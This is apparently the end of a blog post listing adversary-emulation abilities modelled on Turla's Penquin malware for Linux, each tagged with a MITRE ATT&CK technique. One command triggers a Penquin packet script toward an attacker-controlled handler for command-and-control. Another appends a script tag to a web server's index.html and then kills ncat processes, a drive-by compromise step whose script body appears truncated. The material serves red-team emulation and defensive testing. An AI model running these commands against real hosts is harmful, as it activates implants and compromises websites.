        "sh": "sudo -E python3 /opt/day1/turla/Resources/Penquin/sendPacket.py --handler_ip #{attacker.host.ip} --handler_port 8081 --target_ip #{apache.server.ip} --target_port 8080 --payload_type base64\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Traffic Signaling",
      "attack_id": "T1205"
    },
    {
      "ability_id": "4b6ed411-6b13-484e-bed6-60b07562d6de",
      "platform": "linux",
      "commands": {
        "sh": "echo \"echo \\\"<script>if (document.getElementById('xyz'))  else </script>\\\" >> /var/www/html/index.html\" > input_pipe;\necho exit > input_pipe;\nrm input_pipe output_pipe;\nps aux | grep '[n]cat' | awk '{print $2}' | while read line; do kill $line; done\n"
      },
      "privilege": "Unknown",
      "tactic": "initial-access",
      "technique": "Drive-By Compromise",
      "attack_id": "T1189"
    }
  ]
}        

Windows Commands extracted

  • This adversary is performing actions only against Linux platforms
1
This post is licensed under CC BY 4.0 by the author.